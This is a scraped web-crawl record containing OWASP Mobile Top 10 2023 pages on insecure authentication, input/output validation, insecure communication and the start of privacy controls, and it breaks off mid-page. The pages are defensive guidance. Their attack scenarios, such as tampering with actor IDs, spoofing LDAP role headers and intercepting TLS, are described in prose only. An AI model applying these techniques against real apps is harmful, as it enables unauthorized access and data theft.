Authorization’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M3: Insecure Authentication/Authorization\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents that exploit authentication and authorization vulnerabilities typically do so through automated attacks that use available or custom-built tools.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nOnce the adversary understands the vulnerabilities in either the authentication or authorization scheme, they can exploit these weaknesses in one of two ways. They may either fake or bypass the authentication by directly submitting service requests to the mobile app’s backend server, circumventing any direct interaction with the mobile app, or they can log into the application as a legitimate user after successfully passing the authentication control and then force-browse to a vulnerable endpoint to execute administrative functionality. Both exploitation methods are typically accomplished via mobile malware within the device or botnets owned by the attacker.\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability AVERAGE**\n\nIn order to test for poor authorization and authentication schemes in mobile apps, a number of strategies can be employed by testers. For authorization, testers can perform binary attacks against the mobile app and try to execute privileged functionality that should only be executable with a user of higher privilege, particularly while the mobile app is in ‘offline’ mode. Testers should also attempt to execute any privileged functionality using a low-privilege session token within the corresponding POST/GET requests for the sensitive functionality to the backend server.\n\nPoor or missing authorization schemes can potentially allow an adversary to execute functionality they should not be entitled to using an authenticated but lower-privilege user of the mobile app. This risk of privilege escalation attack is heightened when authorization decisions are made within the mobile device instead of through a remote server, a scenario that can often arise due to the mobile requirements of offline usability.\n\nIn terms of poor authentication schemes, testers can undertake binary attacks against the mobile app while it’s in ‘offline’ mode, aiming to bypass offline authentication and then execute functionality that should require offline authentication. Testers should also try to execute any backend server functionality anonymously by removing any session tokens from any POST/GET requests for the mobile app functionality.\n\nPoor or missing authentication schemes can allow an adversary to anonymously execute functionality within the mobile app or the backend server used by the mobile app. These weaknesses in mobile app authentication are fairly common due to the mobile device’s input form factor, which often encourages short passwords or 4-digit PINs.\n\nMobile apps face unique authentication requirements that can diverge from traditional web authentication schemes, largely due to their varying availability requirements. Unlike traditional web apps where users are expected to be online and authenticate in real-time with a backend server, mobile apps may need to fulfill uptime requirements that necessitate offline authentication due to the unreliability or unpredictability of mobile internet connections. This requirement can significantly impact the factors developers must consider when implementing mobile authentication.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe technical impact of poor authorization and authentication in a system can be wide-ranging, significant, and similar, largely depending on the type of over-privileged functionality that is executed. When it comes to poor authorization, for instance, over-privileged execution of remote or local administration functionality may destroy systems or access to sensitive information.\n\nThe technical repercussions of poor authentication occur when the solution is unable to identify the user performing an action request. This can immediately result in the inability to log or audit user activity since the user’s identity cannot be established. This lack of identity verification contributes to an inability to detect the source of an attack, understand the nature of any underlying exploits, or devise strategies to prevent future attacks.\n\nMoreover, failures in authentication can also expose underlying authorization failures. When authentication controls fail, the solution is unable to verify the user’s identity, which is closely tied to a user’s role and associated permissions. If an attacker can anonymously execute sensitive functionality, it indicates that the underlying code is not verifying the permissions of the user issuing the request for the action. Consequently, the anonymous execution of code underscores failures in both authentication and authorization controls.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nThe business impact of poor authentication and authorization will typically result in the following at a minimum:\n\n- Reputation Damage;\n- Information Theft;\n- Fraud;\n- Unauthorized Access to Data.\n\n# Am I Vulnerable To ‘Insecure Authentication / Authorization’?\n\nUnderstanding the difference between authentication and authorization is paramount in evaluating mobile application security. Authentication identifies an individual, while authorization verifies if the identified individual has the necessary permissions for a particular action. These two aspects are closely related, as authorization checks should immediately follow mobile device request authentication.\n\nInsecure authorization can occur when an organization fails to authenticate an individual before executing a requested API endpoint from a mobile device, as it is virtually impossible to conduct authorization checks on an incoming request without an established caller’s identity.\n\nHere are some straightforward indicators of insecure authorization:\n\n- **Presence of Insecure Direct Object Reference (IDOR) vulnerabilities** - Noticing an IDOR vulnerability may suggest that the code isn’t conducting a proper authorization check.\n- **Hidden Endpoints** - Developers might neglect authorization checks on backend hidden functionality, assuming that the hidden functionality will only be accessed by a user with the appropriate role.\n- **User Role or Permission Transmissions** - Should the mobile app transmit the user’s roles or permissions to a backend system as part of a request, this could signal insecure authorization.\n\nSimilarly, mobile apps can exhibit various signs of insecure authentication:\n\n- **Anonymous Backend API Execution** - The ability of the app to execute a backend API service request without providing an access token may point to insecure authentication.\n- **Local Storage of Passwords or Shared Secrets** - If the app stores any passwords or shared secrets locally on the device, this could be a sign of insecure authentication.\n- **Weak Password Policy** - The use of a simplified password-entering process may imply insecure authentication.\n- **Usage of Features like FaceID and TouchID** - Employing features like FaceID or TouchID could be indicative of insecure authentication.\n\n# How Do I Prevent ‘Insecure Authentication and Authorization’?\n\nTo prevent both insecure authentication and authorization, it’s crucial to avoid weak patterns and reinforce secure measures.\n\n**Avoid Weak Patterns**\n\nInsecure Mobile Application Authentication Design Patterns should be avoided:\n\n- If you are porting a web application to a mobile equivalent, ensure the authentication requirements of mobile applications match that of the web application component. It should not be possible to authenticate with fewer factors than the web browser.\n- Local user authentication can lead to client-side bypass vulnerabilities. If the application stores data locally, the authentication routine can be bypassed on jailbroken devices through runtime manipulation or binary modification. If offline authentication is a compelling business requirement, consult additional guidance on preventing binary attacks against the mobile app.\n- Perform all authentication requests server-side, where possible. Upon successful authentication, application data will be loaded onto the mobile device, ensuring application data availability only after successful authentication.\n- If client-side data storage is necessary, encrypt the data using an encryption key securely derived from the user’s login credentials. However, there are additional risks that the data will be decrypted via binary attacks.\n- The “Remember Me” functionality should never store a user’s password on the device.\n- Mobile applications should ideally use a device-specific authentication token that can be revoked within the mobile application by the user, mitigating unauthorized access risks from a stolen/lost device.\n- Avoid using spoof-able values for user authentication, including device identifiers or geo-location.\n- Persistent authentication within mobile applications should be implemented as an opt-in and not enabled by default.\n- Where possible, refrain from allowing users to provide 4-digit PIN numbers for authentication passwords.\n\n**Reinforce Authentication**\n\n- Developers should assume that all client-side authorization and authentication controls can be bypassed by malicious users. Server-side reinforcement of these controls is critical.\n- Due to offline usage requirements, mobile apps might need to perform local authentication or authorization checks. In such cases, developers should instrument local integrity checks to detect any unauthorized code changes. Consult additional guidance on detecting and reacting to binary attacks.\n- Use FaceID and TouchID to unlock biometrically locked secrets and securely protect sensitive authentication materials, like session tokens.\n\n**Insecure Authorization Prevention**\n\nTo avoid insecure authorization:\n\n- Backend systems should independently verify the roles and permissions of the authenticated user. Do not rely on any roles or permission information that comes from the mobile device.\n- Assume that all client-side authorization can be bypassed, hence reinforcing server-side authorization controls whenever possible.\n- If offline authorization checks are necessary within the mobile app’s code, developers should perform local integrity checks to detect unauthorized code changes.\n\n# Example Attack Scenarios\n\nThe following scenarios showcase weak authentication or authorization controls in mobile apps:\n\n**Scenario #1:** Hidden Service Requests: Developers assume that only authenticated users will be able to generate a service request that the mobile app submits to its backend for processing. During the processing of the request, the server code does not verify that the incoming request is associated with a known user. Hence, adversaries submit service requests to the back-end service and anonymously execute functionality that affects legitimate users of the solution.\n\n**Scenario #2:** Interface Reliance: Developers assume that only authorized users will be able to see the existence of a particular function on their mobile app. Hence, they expect that only legitimately authorized users will be able to issue the request for the service from their mobile devices. The back-end code that processes the request does not bother to verify that the identity associated with the request is entitled to execute the service. Hence, adversaries are able to perform remote administrative functionality using fairly low-privilege user accounts.\n\n**Scenario #3:** Usability Requirements: Due to usability requirements, mobile apps allow for passwords that are 4 digits long. The server code correctly stores a hashed version of the password. However, due to the severely short length of the password, an adversary will be able to quickly deduce the original passwords using rainbow hash tables. If the password file (or data store) on the server is compromised, an adversary will be able to quickly deduce users’ passwords.\n\n**Scenario #4:** Insecure Direct Object Reference: A user makes an API endpoint request to a backend REST API that includes an actor ID and an OAuth bearer token. The user includes their actor ID as part of the incoming URL and includes the access token as a standard header in the request. The backend verifies the presence of the bearer token but fails to validate the actor ID associated with the bearer token. As a result, the user can tweak the actor ID and attain the account information of other users as part of the REST API request.\n\n**Scenario #5:** Transmission of LDAP roles: A user makes an API endpoint request to a backend REST API that includes a standard oAuth bearer token along with a header that includes a list of LDAP groups that the user belongs to. The backend request validates the bearer token and then inspects the incoming LDAP groups for the right group membership before continuing on to the sensitive functionality. However, the backend system does not perform an independent validation of LDAP group membership and instead relies upon the incoming LDAP information coming from the user. The user can tweak the incoming header and report to be a member of any LDAP group arbitrarily and perform administrative functionality.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/index.php/OWASP_Top_Ten)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 13344, "slov": 1911, "odkazu": 25, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:09", "sha256": "68fdcdd0a3686d2fff7de989188bc819a27669a99846637e4cdd87439b8f007b", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Top_Ten", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m4-insufficient-input-output-validation.html", "titulek": "M4: Insufficient Input/Output Validation | OWASP Foundation", "h1": "M4: Insufficient Input/Output Validation", "popis": "M4: Insufficient Input/Output Validation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m4-insufficient-input-output-validation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M4: Insufficient Input/Output Validation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M4: Insufficient Input/Output Validation | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m4-insufficient-input-output-validation.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M4: Insufficient Input/Output Validation"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insufficient Input/Output Validation’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insufficient Input/Output Validation’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M4: Insufficient Input/Output Validation\n\n# Threat Agents\n\n**Application Specific**\n\nInsufficient validation and sanitization of data from external sources, such as user inputs or network data, in a mobile application can introduce severe security vulnerabilities. Mobile apps that fail to properly validate and sanitize such data are at risk of being exploited through attacks specific to mobile environments, including SQL injection, Command Injection, and cross-site scripting (XSS) attacks.\n\nThese vulnerabilities can have detrimental consequences, including unauthorized access to sensitive data, manipulation of app functionality, and potential compromise of the entire mobile system.\n\nInadequate output validation can result in data corruption or presentation vulnerabilities, allowing malicious actors to inject malicious code or manipulate sensitive information displayed to users.\n\n# Attack Vectors\n\n**Exploitability DIFFICULT**\n\nInsufficient input/output validation exposes our application to critical attack vectors, including SQL injection, XSS, command injection and path traversal. These vulnerabilities can lead to unauthorized access, data manipulation, code execution, and compromise of the entire backend system.\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability EASY**\n\nInsufficient input/output validation vulnerability occurs when an application fails to properly check and sanitize user input or validate and sanitize output data. This vulnerability can be exploited in the following ways:\n\n**Insufficient Input Validation:** When user input is not thoroughly checked, attackers can manipulate it by entering unexpected or malicious data. This can bypass security measures and lead to code execution vulnerabilities or unauthorized system access.\n\n**Insufficient Output Validation:** If output data is not properly validated and sanitized, attackers can inject malicious scripts that get executed by users’ browsers. This can lead to cross-site scripting (XSS) attacks, enabling data theft, session hijacking, or the manipulation of displayed content.\n\n**Lack of Contextual Validation:** Failing to consider the specific context or expected data formats can result in vulnerabilities like SQL injection or format string vulnerabilities. These occur when unvalidated user input is directly incorporated into database queries or improperly handled in format string functions, allowing attackers to manipulate queries or execute arbitrary code.\n\n**Failure to Validate Data Integrity:** Without validating data integrity, the application becomes vulnerable to data corruption or incorrect processing. Attackers can tamper with critical system variables or introduce malformed data that disrupts the application’s functionality.\n\nThese vulnerabilities often arise from errors in application logic, incomplete implementation of validation checks, lack of security awareness, or insufficient testing and code review practices.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nInsufficient input/output validation vulnerability can have several technical impacts on the affected application:\n\n**Code Execution:** A malicious actor can exploit this vulnerability to execute unauthorized code within the application’s environment, bypassing the security measures.\n\n**Data Breaches:** Insufficient validation can enable attackers to manipulate input, potentially leading to unauthorized access and extraction of sensitive data.\n\n**System Compromise:** Attackers can gain unauthorized access to the underlying system, compromising it and potentially taking control.\n\n**Application Disruption:** Malicious input can cause disruptions, crashes or data corruption, impacting the application’s reliability and functionality.\n\n**Reputation Damage:** Successful exploitation of this vulnerability can result in reputational harm due to data breaches and loss of customer trust.\n\n**Legal and Compliance Issues:** Inadequate validation may lead to legal liabilities, regulatory penalties and non compliance with data protection regulations.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nInsufficient input/output validation vulnerability has significant technical and business implications. From an application standpoint, the impacts include:\n\n- Code Execution: Attackers can exploit this vulnerability to execute unauthorized code, potentially leading to system compromise and unauthorized access.\n- Data Breaches: Insufficient validation allows attackers to manipulate input, resulting in data breaches and unauthorized access to sensitive information.\n- System Disruptions: Exploitation of the vulnerability can cause application crashes, instability, or data corruption, leading to service disruptions and operational inefficiencies.\n- Data Integrity Issues: Insufficient validation may result in data corruption, incorrect processing, or inaccurate outputs, compromising the reliability and integrity of the system.\n\nOn the business side, the impacts include:\n\n- Reputation Damage: Successful exploitation of the vulnerability can result in data breaches, system disruptions, and customer distrust, damaging the organization’s reputation and brand image.\n- Legal and Compliance Consequences: Non-compliance with data protection regulations due to insufficient validation can lead to legal liabilities, regulatory penalties, and potential financial losses.\n- Financial Impact: Data breaches or system disruptions caused by the vulnerability can result in financial losses due to incident response, remediation costs, legal fees, and potential loss of revenue.\n\n# Am I Vulnerable To ‘Insufficient Input/Output Validation’?\n\nAn application can be vulnerable to insufficient input/output validation due to:\n\n- Lack of Input Validation: Failure to properly validate user input can expose the application to injection attacks like SQL injection, command injection, or XSS.\n- Inadequate Output Sanitization: Insufficient sanitization of output data can result in XSS vulnerabilities, allowing attackers to inject and execute malicious scripts.\n- Context-Specific Validation Neglect: Neglecting to consider specific validation requirements based on data context can create vulnerabilities, such as path traversal attacks or unauthorized access to files.\n- Insufficient Data Integrity Checks: Not performing proper data integrity checks can lead to data corruption or unauthorized modification, compromising reliability and security.\n- Poor Secure Coding Practices: Neglecting secure coding practices, such as using parameterized queries or escaping/encoding data, contributes to input/output validation vulnerabilities.\n\n# How Do I Prevent ‘Insufficient Input/Output Validation’?\n\nTo prevent “Insufficient Input/Output Validation” vulnerabilities:\n\n- Input Validation:\n - Validate and sanitize user input using strict validation techniques.\n - Implement input length restrictions and reject unexpected or malicious data.\n- Output Sanitization:\n - Properly sanitize output data to prevent cross-site scripting (XSS) attacks.\n - Use output encoding techniques when displaying or transmitting data.\n- Context-Specific Validation:\n - Perform specific validation based on data context (e.g., file uploads, database queries) to prevent attacks like path traversal or injection.\n- Data Integrity Checks:\n - Implement data integrity checks to detect and prevent data corruption or unauthorized modifications.\n- Secure Coding Practices:\n - Follow secure coding practices, such as using parameterized queries and prepared statements to prevent SQL injection.\n- Regular Security Testing:\n - Conduct regular security assessments, including penetration testing and code reviews, to identify and address vulnerabilities.\n\n# Example Attack Scenarios\n\n**Scenario #1** Remote Code Execution via Malicious Input\n\nAn attacker identifies a mobile application lacking proper input validation and sanitization. By crafting a malicious input containing unexpected characters, they exploit the application’s behavior. Due to insufficient validation, the application mishandles the input, leading to vulnerabilities. The attacker successfully executes arbitrary code, gaining unauthorized access to the device’s resources and sensitive data.\n\n**Scenario #2** Injection Attacks via Insufficient Output Validation\n\nAn attacker identifies a mobile application with inadequate output validation and sanitization. They exploit an entry point where user-generated content or untrusted data is processed. By crafting malicious input containing code or scripts (e.g., HTML, JavaScript, SQL), the attacker takes advantage of the lack of output validation. Submitting the crafted input through user interaction, the application fails to validate or sanitize it, allowing the execution of injected code or unintended operations. The attacker successfully executes injection-based attacks like cross-site scripting (XSS) or SQL injection, compromising the application’s integrity and gaining access to sensitive information.\n\n**Scenario #3** Remote Code Execution via Malformed Output\n\nAn attacker identifies a mobile application that processes user-provided data and generates dynamic output.The attacker crafts specially formatted data that exploits the application’s insufficient output validation. The attacker submits the malformed data to the application, either through direct interaction or by exploiting an exposed API.\nThe application fails to properly validate or sanitize the generated output, allowing the attacker’s crafted data to execute code or trigger unintended actions.\nBy exploiting this vulnerability, the attacker achieves remote code execution, gaining control over the mobile device, its resources, or sensitive data.\n\n# References\n\n- OWASP\n - [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [Improper Data Validation](https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation#:~:text=Omitting%20validation%20for%20even%20a,incomplete%20or%20absent%20input%20validation.)\n- External\n - [External References](http://cwe.mitre.org/)\n - [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 10158, "slov": 1265, "odkazu": 27, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:13", "sha256": "d78f299a401546f07ba948af0dd83d6b528a0570558bcad3a676753cb49af570", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "http://cwe.mitre.org/", "https://cwe.mitre.org/data/definitions/20.html", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m5-insecure-communication.html", "titulek": "M5: Insecure Communication | OWASP Foundation", "h1": "M5: Insecure Communication", "popis": "M5: Insecure Communication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m5-insecure-communication", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M5: Insecure Communication on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M5: Insecure Communication | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m5-insecure-communication.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M5: Insecure Communication"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Communication’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Communication’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M5: Insecure Communication\n\n# Threat Agents\n\n**Application Specific**\n\nMost modern mobile applications exchange data with one or more remote servers. When the data transmission takes place, it typically goes through the mobile device’s carrier network and the internet, a threat agent listening on the wire can intercept and modify the data if it transmitted in plaintext or using a deprecated encryption protocol. Threat agents might have different motives such as stealing sensitive information, conducting espionage, identity theft and more. The following threat agents exist:\n\n- An adversary that shares your local network (compromised or monitored Wi-Fi);\n- Rogue carrier or network devices (routers, cell towers, proxy’s, etc); or\n- Malware on your mobile device.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nWhile modern applications do reply on cryptographic protocols such as SSL/TLS, they can sometimes have flaws in their implementations like:\n\n- Using deprecated protocols and/or bad configuration settings;\n- Accepting bad ssl certificates (self-signed, revoked, expired, wrong host…); or\n- Inconsistency (having SSL/TLS only on select workflows such as authentication).\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability AVERAGE**\n\nWhile modern mobile applications aim to protect network traffic, they often have inconsistencies in their implementation. These inconsistencies can lead to vulnerabilities that expose data and session IDs to interception. Just because an app uses transport security protocols doesn’t mean it’s implemented correctly. To identify basic flaws, you can observe the network traffic on the phone. However, detecting more subtle flaws requires a closer look at the application’s design and configuration.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThis flaw can expose user data which might lead to account takeover, user impersonation, PII data leaks and more, for instance an attacker might intercept user credentials, session, 2FA tokens which can open the door for more elaborate attacks.\n\n# Business Impacts\n\n**Impact MODERATE**\n\nAt a minimum, interception of sensitive data through a communication channel will result in a privacy violation.\n\nThe violation of a user’s confidentiality may result in:\n\n- Identity theft;\n- Fraud, or\n- Reputational Damage.\n\n# Am I Vulnerable To ‘Insecure Communication’?\n\nThis risk covers all aspects of getting data from point A to point B, but doing it insecurely. It encompasses mobile-to-mobile communications, app-to-server communications, or mobile-to-something-else communications. This risk includes all communications technologies that a mobile device might use: TCP/IP, WiFi, Bluetooth/Bluetooth-LE, NFC, audio, infrared, GSM, 3G, SMS, etc.\n\nAll the TLS communications issues go here. All the NFC, Bluetooth, and WiFi issues go here.\n\nThe prominent characteristics include packaging up some kind of sensitive data and transmitting it into or out of the device. Some examples of sensitive data include encryption keys, passwords, private user information, account details, session tokens, documents, metadata, and binaries. The sensitive data can be coming to the device from a server, it can be coming from an app out to a server, or it might be going between the device and something else local (e.g., an NFC terminal or NFC card). The defining characteristic of this risk is the existence of two devices and some data passing between them.\n\nIf the data is being stored locally in the device itself, that’s #Insecure Data. If the session details are communicated securely (e.g., via a strong TLS connection) but the session identifer itself is bad (perhaps it is predictable, low entropy, etc.), then that’s an #Insecure Authentication problem, not a communication problem.\n\nThe usual risks of insecure communication are around data integrity, data confidentiality, and origin integrity. If the data can be changed while in transit, without the change being detectable (e.g., via a man-in-the-middle attack) then that is a good example of this risk. If confidential data can be exposed, learned, or derived by observing the communications as it happens (i.e., eavesdropping) or by recording the conversation as it happens and attacking it later (offline attack), that’s also an insecure communication problem. Failing to properly setup and validate a TLS connection (e.g., certificate checking, weak ciphers, other TLS configuration problems) are all here in insecure communication.\n\n# How Do I Prevent ‘Insecure Communication’?\n\n**General Best Practices**\n\n- Assume that the network layer is not secure and is susceptible to eavesdropping.\n- Apply SSL/TLS to transport channels that the mobile app will use to transmit data to a backend API or web service.\n- Account for outside entities like third-party analytics companies, social networks, etc. by using their SSL versions when an application runs a routine via the browser/webkit. Avoid mixed SSL sessions as they may expose the user’s session ID.\n- Use strong, industry standard cipher suites with appropriate key lengths.\n- Use certificates signed by a trusted CA provider.\n- Never allow bad certificates (self-signed, expired, untrusted root, revoked, wrong host..).\n- Consider certificate pinning.\n- Always require SSL chain verification.\n- Only establish a secure connection after verifying the identity of the endpoint server using trusted certificates in the key chain.\n- Alert users through the UI if the mobile app detects an invalid certificate.\n- Do not send sensitive data over alternate channels (e.g, SMS, MMS, or notifications).\n- If possible, apply a separate layer of encryption to any sensitive data before it is given to the SSL channel. In the event that future vulnerabilities are discovered in the SSL implementation, the encrypted data will provide a secondary defense against confidentiality violation.\n- During development cycles, avoid overriding SSL verification methods to allow untrusted certificates, instead try using self-signed certificates or a local development certificate authority (CA)\n- During security assessments, it is advised to analyze application traffic to see if any traffic goes through plaintext channels\n\n**iOS Specific Best Practices**\n\nDefault classes in the latest version of iOS handle SSL cipher strength negotiation very well. Trouble comes when developers temporarily add code to bypass these defaults to accommodate development hurdles. In addition to the above general practices:\n\n- Ensure that certificates are valid and fail closed.\n- When using `CFNetwork` , consider using the Secure Transport API to designate trusted client certificates. In almost all situations, `NSStreamSocketSecurityLevelTLSv1` should be used for higher standard cipher strength.\n- After development, ensure all `NSURL` calls (or wrappers of `NSURL` ) do not allow self signed or invalid certificates such as the `NSURL` class method `setAllowsAnyHTTPSCertificate` .\n- Consider using certificate pinning by doing the following: export your certificate, include it in your app bundle, and anchor it to your trust object. Using the NSURL method `connection:willSendRequestForAuthenticationChallenge` : will now accept your cert.\n\n**Android Specific Best Practices**\n\n- Remove all code after the development cycle that may allow the application to accept all certificates such as org.apache.http.conn.ssl.AllowAllHostnameVerifier or SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER. These are equivalent to trusting all certificates.\n- If using a class which extends SSLSocketFactory, make sure checkServerTrusted method is properly implemented so that server certificate is correctly checked.\n- Avoid overriding `onReceivedSslError` to allow invalid SSL certificates\n\n# Example Attack Scenarios\n\nThere are a few common scenarios that penetration testers frequently discover when inspecting a mobile app’s communication security:\n\n**Lack of certificate inspection**\n\nThe mobile app and an endpoint successfully connect and perform a TLS handshake to establish a secure channel. However, the mobile app fails to inspect the certificate offered by the server and the mobile app unconditionally accepts any certificate offered to it by the server. This destroys any mutual authentication capability between the mobile app and the endpoint. The mobile app is susceptible to man-in-the-middle attacks through a TLS proxy.\n\n**Weak handshake negotiation**\n\nThe mobile app and an endpoint successfully connect and negotiate a cipher suite as part of the connection handshake. The client successfully negotiates with the server to use a weak cipher suite that results in weak encryption that can be easily decrypted by the adversary. This jeopardizes the confidentiality of the channel between the mobile app and the endpoint.\n\n**Privacy information leakage**\n\nThe mobile app transmits personally identifiable information to an endpoint via non-secure channels instead of over SSL/TLS. This jeopardizes the confidentiality of any privacy-related data between the mobile app and the endpoint.\n\n**Credential information leakage**\n\nThe mobile app transmits user credentials to an endpoint via non-secure channels instead of over SSL/TLS. This allows an adversary to intercept those credentials in cleartext.\n\n**Two-Factor authentication bypass**\n\nThe mobile app receives a session identifier from an endpoint via non-secure channels instead of over SSL/TLS. This allows an adversary to bypass two-factor authentication by using the intercepted session identifier.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 9642, "slov": 1389, "odkazu": 25, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:17", "sha256": "99e6862d073d7a808d85dc7d9cfd72f0d81cb03d57232f8cb17e79a3838ad405", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m6-inadequate-privacy-controls.html", "titulek": "M6: Inadequate Privacy Controls | OWASP Foundation", "h1": "M6: Inadequate Privacy Controls", "popis": "M6: Inadequate Privacy Controls on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m6-inadequate-privacy-controls", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M6: Inadequate Privacy Controls on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M6: Inadequate Privacy Controls | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m6-inadequate-privacy-controls.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M6: Inadequate Privacy Controls"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Inadequate Privacy Controls’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Inadequate Privacy Controls’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M6: Inadequate Privacy Controls\n\n# Threat Agents\n\n**Application Specific**\n\nPrivacy controls are concerned with protecting Personally Identifiable Information (PII), e.g., names and addresses, credit card information, e-mail and IP addresses, information about health, religion, sexuality and political opinions.\n\nThis information is valuable to attackers for several reasons. For example, an attacker could\n\n- Impersonate the victim to commit a fraud,\n- Misuse the victim’s payment data,\n- Blackmail the victim with sensitive information or\n- Harm the victim by destroying or manipulating the victim’s critical data.\n\nIn general, PII could either be leaked (i.e., a violation of confidentiality), manipulated (violation of integrity) or destroyed/blocked 